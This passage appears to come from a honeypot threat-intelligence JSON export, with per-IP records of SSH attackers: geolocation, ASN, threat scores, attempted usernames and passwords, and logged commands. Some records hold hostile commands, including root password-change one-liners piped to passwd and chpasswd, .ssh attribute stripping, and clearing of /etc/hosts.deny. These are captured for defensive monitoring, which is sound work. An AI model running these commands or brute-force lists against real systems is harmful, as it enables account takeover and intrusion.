      }
    },
    "37.114.148.65": {
      "attack_count": 2,
      "first_seen": "2026-04-29T11:33:00.233Z",
      "last_seen": "2026-04-29T11:33:13.177Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 39232,
      "as_org": "Uninet LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:33:00.233000+00:00",
        "last_seen_30d": "2026-04-29T11:34:13.933000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.46.252.23": {
      "attack_count": 2,
      "first_seen": "2026-04-28T19:59:46.456Z",
      "last_seen": "2026-04-28T20:01:46.458Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Rivne",
      "asn": 13188,
      "as_org": "Content Delivery Network Ltd",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:59:46.456000+00:00",
        "last_seen_30d": "2026-04-28T20:02:54.254000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.252.170.10": {
      "attack_count": 2,
      "first_seen": "2026-04-16T18:33:52.225Z",
      "last_seen": "2026-04-16T18:34:05.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Eureka",
      "asn": 1378,
      "as_org": "Interbel Telephone Cooperative, Inc.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T18:33:52.225000+00:00",
        "last_seen_30d": "2026-04-16T18:35:10.591000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "64.52.109.152": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:08:52.482Z",
      "last_seen": "2026-04-30T08:09:23.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 399334,
      "as_org": "Skysilk",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:08:52.482000+00:00",
        "last_seen_30d": "2026-04-30T08:10:23.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.138.105.104": {
      "attack_count": 2,
      "first_seen": "2026-04-24T22:32:07.642Z",
      "last_seen": "2026-04-24T22:32:38.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T22:32:07.642000+00:00",
        "last_seen_30d": "2026-04-24T22:33:38.555000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.222.205.203": {
      "attack_count": 2,
      "first_seen": "2026-04-23T16:49:42.254Z",
      "last_seen": "2026-04-23T16:50:13.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T16:49:42.254000+00:00",
        "last_seen_30d": "2026-04-23T16:51:22.681000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.104.10.156": {
      "attack_count": 2,
      "first_seen": "2026-04-16T17:41:33.355Z",
      "last_seen": "2026-04-16T17:41:50.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T13:33:52.493000+00:00",
        "last_seen_30d": "2026-04-16T17:42:58.190000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.175.72.188": {
      "attack_count": 2,
      "first_seen": "2026-04-09T06:12:54.859Z",
      "last_seen": "2026-04-09T06:14:54.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 25490,
      "as_org": "Rostelecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:12:54.859000+00:00",
        "last_seen_30d": "2026-04-09T06:25:02.593000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "91.230.168.168": {
      "attack_count": 2,
      "first_seen": "2026-04-21T20:05:09.091Z",
      "last_seen": "2026-04-21T20:05:12.106Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 28,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:48:12+00:00",
        "last_seen_30d": "2026-04-28T23:46:32.653000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 49,
        "Cowrie": 2
      }
    },
    "91.231.89.148": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:35:39.938Z",
      "last_seen": "2026-04-11T12:35:39.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:41:04.056000+00:00",
        "last_seen_30d": "2026-04-30T22:30:27.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Honeytrap": 32,
        "Cowrie": 2
      }
    },
    "98.80.4.114": {
      "attack_count": 2,
      "first_seen": "2026-04-24T16:53:48.608Z",
      "last_seen": "2026-04-24T16:53:53.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T16:53:48.608000+00:00",
        "last_seen_30d": "2026-04-24T16:55:01.163000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "98.80.4.41": {
      "attack_count": 2,
      "first_seen": "2026-04-07T04:59:27.805Z",
      "last_seen": "2026-04-07T04:59:32.924Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T04:59:27.805000+00:00",
        "last_seen_30d": "2026-04-07T05:00:33.450000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.87.204": {
      "attack_count": 5649,
      "first_seen": "2026-04-27T10:33:21.581Z",
      "last_seen": "2026-04-28T17:33:43.070Z",
      "sessions": 1175,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "user1",
        "test",
        "deploy",
        "minecraft",
        "steam",
        "oracle",
        "postgres",
        "frappe",
        "app",
        "ftpuser",
        "hadoop",
        "dmdba",
        "es",
        "mysql",
        "dev",
        "wang"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "1qaz@WSX",
        "12345678",
        "123456789",
        "abc123",
        "111",
        "1111",
        "admin",
        "admin123",
        "123123",
        "Admin@123",
        "Huawei12",
        "admin1",
        "admin1234",
        "linux"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8270,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:33:21.581000+00:00",
        "last_seen_30d": "2026-04-28T17:34:49.596000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5649,
        "Suricata": 2621
      }
    },
    "193.46.255.86": {
      "attack_count": 1174,
      "first_seen": "2026-04-01T02:59:12.747Z",
      "last_seen": "2026-04-30T22:07:02.214Z",
      "sessions": 155,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "",
        "ubnt",
        "user",
        "test",
        "squid",
        "pritchard",
        "support",
        "admin1",
        "username",
        "default",
        "magdalena",
        "vpn",
        "ftpuser",
        "adm",
        "ftp",
        "telecomadmin",
        "telnet",
        "1234"
      ],
      "passwords_attempted": [
        "abc123",
        "",
        "abcd123",
        "abcd1234",
        "123456",
        "1234",
        "abc1234",
        "password",
        "admin",
        "12345",
        "admin@123",
        "admin1",
        "admin123",
        "default",
        "Abcd1234",
        "ubnt",
        "12345678",
        "squid",
        "support",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1662,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:59:12.747000+00:00",
        "last_seen_30d": "2026-04-30T22:08:12.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1174,
        "Suricata": 488
      }
    },
    "43.245.97.82": {
      "attack_count": 899,
      "first_seen": "2026-04-04T06:48:55.396Z",
      "last_seen": "2026-04-28T05:35:20.474Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "odoo",
        "proxyuser",
        "steam",
        "user",
        "ali",
        "bin",
        "claude",
        "deploy",
        "hdoop",
        "minecraft",
        "n8n",
        "oracle",
        "postgres",
        "superuser",
        "sysuser",
        "test",
        "testftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "test123",
        "!234qwer",
        "!@#QWEASD",
        "!Q2w3e4r5t6y",
        "!QAZ4rfv",
        ",ki89ol.",
        "12",
        "1200",
        "123123aA",
        "12345.QWERTY",
        "123456789jqka.",
        "123456ABC",
        "123456qwerty!@#$%^",
        "123qazwsx",
        "1qazxsw2",
        "1qazzxcvbnm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1qazxsw2\\nGJNkZzqFwvjT\\nGJNkZzqFwvjT\\n\"|passwd",
        "echo \"Changeme_123\\nCKs218caF12M\\nCKs218caF12M\\n\"|passwd",
        "echo \"Test2025\\nwU0ovbYbjM92\\nwU0ovbYbjM92\\n\"|passwd",
        "echo \"ZXCVBN\\noZZtPowbTMTc\\noZZtPowbTMTc\\n\"|passwd",
        "echo \"root:0rJZ9flKULxK\"|chpasswd|bash",
        "echo \"root:CQaC0pcmy42B\"|chpasswd|bash",
        "echo \"root:HU9pdlnFQPAl\"|chpasswd|bash",
        "echo \"test123\\nHrwpwMPuzMhU\\nHrwpwMPuzMhU\\n\"|passwd",
        "echo -e \"1qazxsw2\\nGJNkZzqFwvjT\\nGJNkZzqFwvjT\"|passwd|bash",
        "echo -e \"Changeme_123\\nCKs218caF12M\\nCKs218caF12M\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 38719,
      "as_org": "Dreamscape Networks Limited",
      "threat_score": 58.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1091,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:48:55.396000+00:00",
        "last_seen_30d": "2026-04-28T05:36:22.082000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 899,
        "Suricata": 192
      }
    },
    "14.63.196.175": {
      "attack_count": 677,
      "first_seen": "2026-04-17T22:41:18.754Z",
      "last_seen": "2026-04-29T01:04:09.949Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user",
        "admin",
        "ftpuser",
        "minecraft",
        "test",
        "user1",
        "webadmin",
        "ali",
        "bitrix",
        "bwadmin",
        "claude",
        "deployer",
        "esadmin",
        "git",
        "jan",
        "ldapuser",
        "mailtest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
        "12345-qwerty",
        "12345678",
        "123456ddd",
        "1234qwer",
        "1qaz3edc",
        "2025",
        "3bb",
        "654321",
        "Aa123456",
        "Abcd12345678!!",
        "P@55wOrd",
        "P@ssW0rd",
        "P@ssword3",
        "Passw0rd",
        "Postgres15!",
        "Q1w2e3r4t5"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456ddd\\nIRm75cOSSSjm\\nIRm75cOSSSjm\\n\"|passwd",
        "echo \"1qaz3edc\\n8u7LR2kClgtX\\n8u7LR2kClgtX\\n\"|passwd",
        "echo \"Passw0rd\\nGumwFmAJnV7H\\nGumwFmAJnV7H\\n\"|passwd",
        "echo \"Welcome\\napRx9j2Mx4kO\\napRx9j2Mx4kO\\n\"|passwd",
        "echo \"root:PZnU7H2dOJ9C\"|chpasswd|bash",
        "echo \"root:hYAwoSvS8puk\"|chpasswd|bash",
        "echo -e \"123456ddd\\nIRm75cOSSSjm\\nIRm75cOSSSjm\"|passwd|bash",
        "echo -e \"1qaz3edc\\n8u7LR2kClgtX\\n8u7LR2kClgtX\"|passwd|bash",
        "echo -e \"Passw0rd\\nGumwFmAJnV7H\\nGumwFmAJnV7H\"|passwd|bash",
        "echo -e \"Welcome\\napRx9j2Mx4kO\\napRx9j2Mx4kO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 838,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T22:41:18.754000+00:00",
        "last_seen_30d": "2026-04-29T01:05:19.366000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 677,
        "Suricata": 161
      }
    },
    "210.79.190.31": {
      "attack_count": 535,
      "first_seen": "2026-04-08T09:15:31.524Z",
      "last_seen": "2026-04-08T09:59:53.215Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "akshay",
        "deploy",
        "ftpuser2",
        "git-admin",
        "labuser",
        "metabase",
        "minecraft",
        "odoo",
        "oracle",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10202640",
        "102030",
        "12345678",
        "@123456",
        "Aa1234567",
        "Odoo06",
        "Qazwsx1234567@123",
        "Qq@123456789",
        "Qwer!@#$",
        "Root01!!",
        "Sm@123456",
        "ZXCasdqwe123",
        "aa123456.",
        "aaCC123",
        "akshay",
        "deploy@123",
        "git-admin",
        "labuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa1234567\\noZcw39xynAfY\\noZcw39xynAfY\\n\"|passwd",
        "echo \"root:DomDRKhi8jyv\"|chpasswd|bash",
        "echo \"root:LBL1tL7y9h8R\"|chpasswd|bash",
        "echo \"root:kWs7L8or2ZZX\"|chpasswd|bash",
        "echo \"root:uZhUiecc0Mzv\"|chpasswd|bash",
        "echo \"root@123\\nsQjjgfDbB0xe\\nsQjjgfDbB0xe\\n\"|passwd",
        "echo -e \"Aa1234567\\noZcw39xynAfY\\noZcw39xynAfY\"|passwd|bash",
        "echo -e \"root@123\\nsQjjgfDbB0xe\\nsQjjgfDbB0xe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 618,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:15:31.524000+00:00",
        "last_seen_30d": "2026-04-08T10:01:00.171000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 535,
        "Suricata": 83
      }
    },
    "116.110.216.185": {
      "attack_count": 487,
      "first_seen": "2026-04-14T06:16:32.639Z",
      "last_seen": "2026-04-14T06:53:01.214Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "support",
        "ubnt",
        "ace",
        "anton",
        "backup",
        "belkinstyle",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "client",
        "config",
        "developer",
        "dubai",
        "ftp",
        "geral"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "password",
        "1234",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "12345",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "72ca06",
        "91482d",
        "Deadstar!",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "ace"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 699,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:16:32.639000+00:00",
        "last_seen_30d": "2026-04-14T06:54:02.392000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 487,
        "Suricata": 212
      }
    },
    "185.233.83.180": {
      "attack_count": 398,
      "first_seen": "2026-04-07T12:32:10.122Z",
      "last_seen": "2026-04-07T13:16:31.243Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "vpn",
        "aceuser",
        "admin",
        "client",
        "deploy",
        "ftpuser",
        "linuxbrew",
        "steam",
        "user",
        "user13"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w#E4r",
        "123!@#",
        "123!@#QWE",
        "123456",
        "2024",
        "6yhn!@#",
        "Ali123",
        "DDaa000",
        "Frappe23!",
        "Huawei_123",
        "P!@ss#w0rd",
        "Pa$$w0rd@2026",
        "Password01",
        "Zg123456",
        "a1b2c3d4",
        "aceuser",
        "admin1234567.",
        "linuxbrew"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
